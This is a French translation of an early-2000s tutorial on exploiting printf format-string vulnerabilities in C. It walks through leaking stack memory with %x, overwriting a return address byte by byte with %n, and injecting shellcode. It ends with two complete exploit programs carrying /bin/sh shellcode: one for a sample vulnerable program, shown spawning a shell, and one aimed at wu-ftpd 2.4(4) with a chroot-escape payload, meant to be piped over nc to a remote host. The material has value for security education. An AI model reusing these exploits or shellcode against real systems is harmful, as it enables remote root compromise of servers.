========================================================== Plus d'informations sur les format bugs Pascal Bouchareine [ kalou ] Traduit par Nightbird (http://www.nightbird.fr.st) Note: Si vous voyez une erreur dans la traduction, n'hésitez pas à nous prévenir ========================================================== I Introduction --------------- Ce papier essaye d'expliquer comment exploiter les format bugs de type printf(userinput). L'approche est primaire, et ne tient compte d'aucun exploit existant (wu-ftpd ....) Une connaissance generale de la programmation C et Assembleur est la bienvenue pour cet article. II Description ---------------- Commencons par un exemple. Regardez le code suivant: void main() { char tmp[512]; char buf[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); sprintf(tmp, buf); printf("%s", tmp); } } Il alloue une pile pour tmp et buf(buf ayant la plus basse adresse sur la pile), lit l'entree de l'utilisateur dans buf, appelle sprintf pour remplir tmp et affiche tmp. Essayons ca: [pb@camel][formats]> ./t foo-bar foo-bar %x %x %x %x 25207825 78252078 a782520 0 Des codeurs maladroits sont habitués à voir ce genre de choses, mais regardons exactement ce qui se passe. Quand sprintf rencontre une chaine de conversion, il prend simplement le premier mot (32 bits, 4 octets sur Intel) mis sur la pile et dans le cas du convertisseur "%x" l'affiche à l'ecran en hexadecimal. Si les arguments sont explicitements donnés, ca marche bien, mais si ils sont manquants et en supposant que la pile de sprintf est vide, la fonction recupere la pile de l'appelant directement, à condition que la pile croisse vers le bas (architecture d'Intel dans l'exemple). Pour plus de details, regardons le deuxieme exemple: [pb@camel][formats]> gdb ./t GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu". (gdb) break sprintf Breakpoint 1 at 0x80481f3 (gdb) run Starting program: /usr/home/pb/code/format/./t %x Breakpoint 1, 0x80481f3 in _IO_sprintf () (gdb) x/20x $esp 0xbffff670: 0xbffffa80 0x080481af 0xbffff880 0xbffff680 0xbffff680: 0x000a7825 0x00000000 0x00000000 0x00000000 0xbffff690: 0x00000000 0x00000000 0x00000000 0x00000000 * 0xbffffa80 est l'adresse de la fonction appelante * 0x08481af est l'adresse de retour dans main(). Donc il y a deux arguments pour sprintf: * 0xbffff880 est l'adresse de tmp[] * 0xbffff680 est l'adresse de buf[] Regardons ce qu'il y a juste apres ca à l'adresse 0xbffff680. C'est le debut de main, avec les octets 0x400 alloues pour tmp[] et buf[] ou il y a ce qui a ete mis en entree: 0x000a7825 (little endian : %x\n). Regardons le premier exemple à nouveau: [pb@camel][formats]> ./t %x %x %x %x 25207825 78252078 a782520 0 Le convertisseur %x fait que sprintf a recuperé une partie de la pile ou vous avez: "\x25\x78\x20\x25....\x78\x0a\x00\x00\x00\x00" C'est le contenu de buf[], avec l'octet 0 de terminaison [un mot dans ce cas]. Etudions ca plus en detail, ajoutons une fonction nommée do_it, et regardons ce qui se passe quand sprintf(dst, "%x") est appellée: void do_it(char *d, char *s) { char buf[] = "\x01\x02\x03\x04"; sprintf(d, s); } main() { char tmp[512]; char buf[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); do_it(tmp, buf); printf("%s", tmp); } } Bien sur, on s'attend à ce que sprintf recupere le mot buf[] de do_it(), donc en utilisant %#010x comme convertisseur de format: [pb@camel][formats]> ./t %#010x 0x04030201 Donc si quelqu'un a l'acces au contenu de la pile de do_it(), il peut deviner l'adresse de main() et l'adresse de retour de do_it avec facilité: [pb@camel][formats]> ./t %#010x %x %x %x 0x04030201 bffffa00 bffffac0 80485af Supposons que ce second pointeur (0xbffffa00) est alloué pour mettre l'argument de sprintf, mais 0xbffffac0 et 0x080485af sont reellement l'ebp sauvegardee et l'adresse de retour: (gdb) bt #0 0x8048526 in do_it () #1 0x80485af in main () (gdb) x/2x $ebp 0xbffff6b0: 0xbffffac0 0x080485af Donc on a acces facilement à l'adresse sur la pile de la fonction appelante. Dans cet exemple, vous pouvez facilement deviner en remote l'emplacement d'une adresse de retour (celle de main par exemple) à recouvrir ET l'adresse du eggshell: c'est fait en ajoutant 0x04 à $ebp sauvegardee ( le second element de cette paire ($ebp, ret) est a 0xbffffac0 + 0x04 == 0xbffffac4): (gdb) x 0xbffffac4 0xbffffac4: 0x080484be (gdb) bt #0 0x8048526 in do_it () #1 0x80485af in main () #2 0x80484be in ___crt_dummy__ () Donc l'adresse de retour de main (#2) est dans ___crt_dummy__ pour le moment, mais peut etre change en quelque chose que vous voulez si vous pouvez recouvrir le contenu de 0xbffffac4.... Et pour l'adresse du eggshell, il y a plusieurs facons de la deviner. La facon la plus simple est de trouver l'adresse de buf[], qui est [bas de main] - 0x200 + quelques informations assignées par la pile : (gdb) break memset Breakpoint 1 at 0x8048408 (gdb) c Continuing. %#010x %x %x %x 0x04030201 bffffa00 bffffa20 80485af Breakpoint 1, 0x40078428 in memset () (gdb) printf "%s\n", 0xbffffa00 - 0x200 + 0x20 %#010x %x %x %x Bien que ceci dépende tout à fait du programme que vous exécutez, vous pouvez voir que les methodes pour trouver une adresse de retour à afficher et un eggshell à executer sont assez faciles. Cependant la meilleure facon de deviner l'architecture d'une pile en remote quand on n'a aucun accès au processus courant est de "manger" la pile avec beaucoup de convertisseurs de format "%x" ou "%...s", jusqu'a ce qu'une paire [stack address, code segment address] soit trouvée et que la chaine de caracteres de l'entrée de l'utilisateur soit vidée. En "mangeant" l'espace de pile avec les convertisseurs de format "pourris" jusqu'à ce que le début de la chaîne de caractères d'entrée soit trouvée, est deja une bonne facon de controler ce qui se produit apres : vous avez maintenant des arguments controlables et ca devient reellement maniable. Regardez ca (en utilisant le premier exemple ): [pb@camel][formats]> ./t AAAA%x AAAA41414141 Souvenez-vous, la pile est vide. Le convertisseur %x fait que sprintf prend le debut du buffer d'entrée comme un arg-list pour les chaines de format. Il a pleins de facons de jouer avec ca. Vous pouvez vider completement la pile, les adresses de pile, et meme y ecrire (comme ce sera expliqué plus tard en utilisant le convertisseur %n). Regardons cet exemple: static char find_me[] = "..Buffer was lost in memory\n"; main() { char buf[512]; char tmp[512]; while(1) { memset(buf, '\0', 512); read(0, buf, 512); sprintf(tmp ,buf); printf("%s", tmp); } } Le but est d'imprimer la chaine find_me[]. Dans ce simple exemple, vous n'avez pas à chercher (par les convertisseurs %x) combien d'octets sur la pile vous avez besoin pour "manger" avant que vous ne remplissiez le buffer d'entrée: c'est le tout premier (l'exemple avec "AAAA%x" l'a montre tres clairement). Ainsi vous devez juste émettre la "pseudo chaîne de caractères " suivante pour imprimer le buffer: [4 bytes address of find_me]%s Oui! C'est si simple: dans ce cas , le buffer d'entree est à la fois la chaine de format ET l'argument de la chaine de format.. :) Faisons ca simplement: [pb@camel][formats]> printf "\x02\x96\x04\x08%s\n" | ./v (garbage)Buffer was lost in memory Les "ordures" sont le début de la chaîne de format. Ainsi, vous pouvez vider n'importe quelle partie de mémoire dont vous avez besoin. Ce qui etait vrai avec les buffers overflows en remote ne l'est plus: vous n'avez plus besoin de chercher l'adresse de retour. Vous n'avez besoin de rien deviner, puisque vous pouvez examiner la mémoire . (Heu, c'est vrai avec printf(), mais pas quand vous ne pouvez pas voir ce que l'entrée a produit. Voir le setproctitle() par exemple.) III Ecrire dans la memoire. Ce ne serait pas si drole si nous n'avions pas le convertisseur de format " %n ". Celui-ci prend un argument (int *), et ecrit le nombre d'octets jusqu'a cet emplacement. Essayons ca (avec le tres simple programme AAAA%x à nouveau): [pb@camel][formats]> printf "\x70\xf7\xff\xbf%%n\n" > file [pb@camel][formats]> gdb ./t GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu". (no debugging symbols found)... (gdb) set args < file (gdb) break main Breakpoint 1 at 0x8048529 (gdb) run Starting program: /usr/home/pb/code/format/./t < file (no debugging symbols found)... Breakpoint 1, 0x8048529 in main () (gdb) watch *0xbffff770 Hardware watchpoint 2: *3221223280 (gdb) c Continuing. Hardware watchpoint 2: *3221223280 Old value = 0 New value = 4 0x400323f3 in vfprintf () (gdb) x 0xbffff770 0xbffff770: 0x00000004 Cette fois, 4 octets encodés dans la chaîne de format (une adresse) sont écrits et le convertisseur "%n" fait que sprintf enregistre la ou ca a ete dit (i.e. 0xbffff770). Jouons avec ca un peu plus longtemps. Cette fois, le fichier generé ressemble à ca: printf "\x70\xf7\xff\xbf\x71\xf7\xff\xbf%%n%%n" > file Apres deux watchpoint , à l'adresse 0xbffff770 que vous avez: (gdb) x 0xbffff770 0xbffff770: 0x00000808 sprintf a ecrit 8 octets (2 adresses), et "%n" fait qu'il enregistre ca à 0xbffff770 et 0xbffff771. Maintenant, supposons que vous avez un eggshell a 0xbffff710, et l'adresse de retour devinée à 0xbffffa80. Vous ne pouvez pas vous permettre d'écrire les octets 0xbffff710 dans le buffer pour que sprintf (à travers le convertisseur " %n ") ecrive la valeur sur la pile. Mais vous pouvez employer une construction d'octets-par-octets pour etablir l'adresse. Puisque que "%n" fait que sprintf ecrive le nombre d'octets écrits jusqu'ici sur la pile, vous avez besoin de soustraire le nombre d'octets deja ecrits à chaque fragment suivant. Puisque le int * effacerait des octets déjà écrits, vous devez écrire l'adresse de l'octet du plus bas au plus haut. Donc vous avez besoin d'ecrire oxff octets avant d'ecrire l'octet oxbf, et d'ailleurs, vous pouvez seulement * incrémenter * le compteur du nombre-d'octets-ecrits interne, vous devez utiliser 0x1bf, effaçant un octet sans signification sur la pile. Notez que vous pouvez utiliser le convertisseur "%hn", et faire que sprintf ecrive un argument short int sur la pile. Mais ce ne sera pas explique ici. Voici le code "constructeur d'adresse" expliqué plus haut: main() { char b1[255]; char b2[255]; char b3[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b1, '\x90', 0xf7 - 0x10); memset(b2, '\x90', 0xff - 0xf7); memset(b3, '\x90', 0x01bf - 0xff); printf("\x80\xfa\xff\xbf" // arguments to the "%n" converter. "\x81\xfa\xff\xbf" // ditto "\x82\xfa\xff\xbf" // .. "\x83\xfa\xff\xbf" // last byte. "%%n" // 1) gives 0x10 ( 16 first bytes ) "%s%%n" // 2) gives 0xf7: string len is 0xf7 - 0x10 "%s%%n" // 3) gives 0xff: string len is 0xff - 0xf7 "%s%%n" // 4) gives 0x01bf: string len is 0x01bf - 0xff ,b1, b2, b3); // you now have 0xbffff710 at 0xbffffa80 } Essayons ca: (after 3 hits on watchpoint) (gdb) c Continuing. Hardware watchpoint 3: *3221224064 Old value = 16774928 New value = -1073744112 0x400323f3 in vfprintf () (gdb) x/2 0xbffffa80 0xbffffa80: 0xbffff710 0xbf000001 Ca semble marcher assez bien. Le travail est presque finit maintenant, vous devez juste mettre un eggshell apres tout ca, et faire que le programme revienne dedans. Essayons d'appliquer tout ce qui a ete dit avant, avec le programme vulnérable suivant: IV Exemple d'exploitation. void do_it(char *dst, char *src) { int foo; char bar; sprintf(dst, src); } main() { char buf[512]; char tmp[512]; memset(buf, '\0', 512); read(0, buf, 512); do_it(tmp, buf); printf("%s", tmp); } 1) D'abord vous devez trouver ou est votre buffer d'entree, pour controler la chaine de format. [pb@camel][formats]> gcc vuln.c -o v [pb@camel][formats]> ./v AAAA %x %c %x AAAA 0 À bffffac0 (int foo, char bar, stack) ... AAAA %x %x %x %x %x %x %x %x %x AAAA 0 bffffac0 bffffac0 804859f bffff6c0 bffff8c0 41414141 62203020 66666666 (le buffer de *sortie* est à l'offset 28) Regardons la pile, qui est une paire (stack addr, code addr): l'adresse de retour dans main est 0x0804859f, la pile de main est sauve dans ebp est l'adresse de retour commence à 0xbffffac0. Vous savez maintenant que l'adresse de retour de main est à 0xbffffac4 (la seconde partie de la paire [stack, code] est bien sur à paire + 4). Maintenant que vous avez des informations sur l'adresse de retour de main: printf "AAAA\xc0\xfa\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \ | hexdump 0000000 4141 4141 fac0 bfff 6230 6666 6666 6361 0000010 6230 6666 6666 6361 3830 3430 3538 3838 0000020 6662 6666 3666 3063 6662 6666 3866 3063 0000030 3134 3134 3134 3134 7720 2065 7274 2079 0000040 fad4 bfff 84be 0804 0a01 000a stack/ret est 0xbffffad4/0x080484be (verifiez ca avec gdb). Supposons que la trame de do_it est quelque chose comme 0x400 octets avant la trame de main, (en faite, c'est 0x410 octets), vous pouvez trouver l'adresse sur la pile de do_it, puisque vous savez qu'il doit y avoir le pointeur de la trame sauvegardée de main suivie d'une adresse de retour de segment de code, puis de la pile de main: Apres beaucoup d'essais vous avez: printf "AAAA\xb0\xf6\xff\xbf%%x%%x%%x%%x%%x%%x%%x we try %%s\n\n"' | ./v \ | hexdump 0000000 4141 4141 f6b0 bfff 6230 6666 6666 6361 0000010 6230 6666 6666 6361 3830 3430 3538 3838 0000020 6662 6666 3666 3063 6662 6666 3866 3063 0000030 3134 3134 3134 3134 7720 2065 7274 2079 0000040 fac0 bfff 8588 0804 f6c0 bfff f8c0 bfff 0000050 4141 4141 f6b0 bfff 6230 6666 6666 6361 0000060 6230 6666 6666 6361 3830 3430 3538 3838 0000070 6662 6666 3666 3063 6662 6666 3866 3063 0000080 3134 3134 3134 3134 7720 2065 7274 2079 0000090 0a0a (ca imprime "..we try [contents of 0xbffff6b0]) Bingo! Ici vous avez (we try .. est juste avant l'offset 0x40) 0xbffffac0,0x08048588 at 0xbffff6b0. Vous vous rappelez de la paire d'adresses (stack, code) ? C'est en fait la trame de pile de do_it. Vous pouvez voir les arguments de sprintf juste apres : 0xbffff6c0 et 0xbffff8c0. Ce sont les adresses des deux buffers. 0x41414141 est le debut du buffer d'entree, donc vous pouvez voir que l'offset 0x50 est à l'adresse 0xbffff6c0, et puisque vous êtes bon aux maths, vous confirmez que l'offset 0x40 est en effet à 0xbffff6b0. Ce processus vous laisse deviner en remote: 1) l'adresse de retour de la pile, 2) l'adresse du buffer. Vous aurez toute l'information dont vous avez besoin pour formater la pile, donc à la prochaine etape: construisons l'eggshell et le buffer approprié. Le buffer mentira à 0xbffff8c0. Mais, puisqu'il est rempli de beaucoup d'instructions illégales(i.e. le convertisseurs de format), la chaine "\x90" doit finir avec un "\xeb\x02" pour sauter par dessus les convertisseurs de format "%n", donc, vous n'avez pas besoin de vous inquiéter de l'adresse de l'eggshell. Donc tout ce que vous avez besoin de faire est de mettre 4 adresses (une adresse par octet de l'adresse de retour à réecrire), une serie de convertisseurs "%x" pour "manger" l'espace de la pile, puis une serie de nop suivi par un convertisseur "%n" (dans le but de construire l'adresse de retour) et quelque part l'eggshell. void main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; char xx[600]; int i; char egg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; // ( (void (*)()) egg)(); memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(xx, 0, 513); for (i = 0; i < 12 ; i += 2) { /* setup the 6 "%x" to eat stack space */ strcpy(&xx[i], "%x"); } memset(b1, '\x90', 0xd0 - 16 - 12 - 2 - 28); // 16 (4 addresses) // 2 (%n) // 40 (%x output - "guess it..") // use nice formats for // fixed output size... :) // + 200- (4 bytes) memset(b2, '\x90', 0xf8 - 0xd0 - 2); // first 0x90 string is at // 0xbffff8d0.. (c0 + 4 * 4 bytes) :) // -2 because of "\xeb\x02" memset(b3, '\x90', 0xff - 0xf8 - 2); // ditto, with -2. memset(b4, '\x90', 0x01bf - 0xff - 2); // ditto. printf("\xb4\xf6\xff\xbf" // "\xb5\xf6\xff\xbf" // this points to do_it's "\xb6\xf6\xff\xbf" // return address storage word. "\xb7\xf6\xff\xbf" // "%s" // 0) there are 6 "%x", to eat stack until the input buf // begins to control the format strings. "%s\xeb\x02%%n" // 1) gives 0xd0 (4 * 4 bytes add, %x are ignored ) "%s\xeb\x02%%n" // 2) gives 0xf9 "%s\xeb\x02%%n" // 3) gives 0xff "%s\xeb\x02%%n%s" // 4) gives 0x01bf , xx, b1, b2, b3, b4, egg); } Faisons un essai final: [pb@camel][formats]> ( ./b ; cat ) | ./v id uid=1001(pb) gid=100(users) groups=100(users) date Sat Jul 15 22:15:07 CEST 2000 .5 Conclusion. Ces anomalies de format sont vraiment méchantes. D'abord, si vous pouvez lire la sortie du buffer final (e.g. printf(Userinput)), vous aurez evidemment le controle de l'ordinateur. Vous aurez des sortes de "remote-debugger-access" à la machine, qui vous permet d'entrer au premier essai. Ce sont de mauvaises nouvelles pour les développeurs. .6 - garbage & greetings - C'est ce que j'ai construit contre mon vieux wu-ftpd [wu-2.4(4)] en utilisant la technique ci-dessus. Ca a marche, mais j'ai coupe ma chaine de format d'entree à 512 octets: j'ai inclus l'eggshell dans une autre partie de la memoire en utilisant la commande PASS. Cette adresse est encore facile à deviner. /* * Sample example - part 2: wu-ftpd v2.4(4), exploitation. * * usage: * 1) find the right address location/eggshell location * this is easy with a little play around %s and hexdump. * Then, fix this exploit. * * 2) (echo "user ftp"; ./exploit; cat) | nc host 21 * * echo ^[c to clear your screen if needed. * * Don't forget 0xff must be escaped with 0xff. * * */ main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; char xx[600]; int i; char egg[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80" "\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; // ( (void (*)()) egg)(); memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(xx, 0, 513); for (i = 0; i < 20 ; i += 2) { /* setup up the 10 %x to eat stack space */ strcpy(&xx[i], "%x"); } memset(b1, '\x90', 0xa3 - 0x50); memset(b2, '\x90', 0xfe - 0xa3 - 2); memset(b3, '\x90', 0xff - 0xfe); memset(b4, '\x90', 0x01bf - 0xff); // build ret address here. // i found 0xbffffea3 printf("pass %s@oonanism.com\n", egg); printf("site exec .." "\x64\xf9\xff\xff\xbf" // insert ret location there. "\x65\xf9\xff\xff\xbf" // i had 0xbffff964 "\x66\xf9\xff\xff\xbf" "\x67\xf9\xff\xff\xbf" "%s" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s%%n" "%s%%n\n" , xx, b1, b2, b3, b4); } - many thanks to... ("grep yourself or ignore this part") The best goes to Ouaou - Ignacy Gawedzki , who drastically changed this article and made something understandable with it. My english sucks, he's a babelfish.. Flaoua, my roomy, helped a lot, bearing me, my machines and my monomania. Try her cookies someday. Gaius, cleb - I need a beer. HERT guys, since they own me. ADM, great, productive work, and with humor, doh. Michal Zalewski, Solar Designer - they're my heroes. Enough greetings for such a bad paper, hope you enjoyed it. --------------------------------------------------------------- Traduit par Nightbird (http://www.nightbird.fr.st)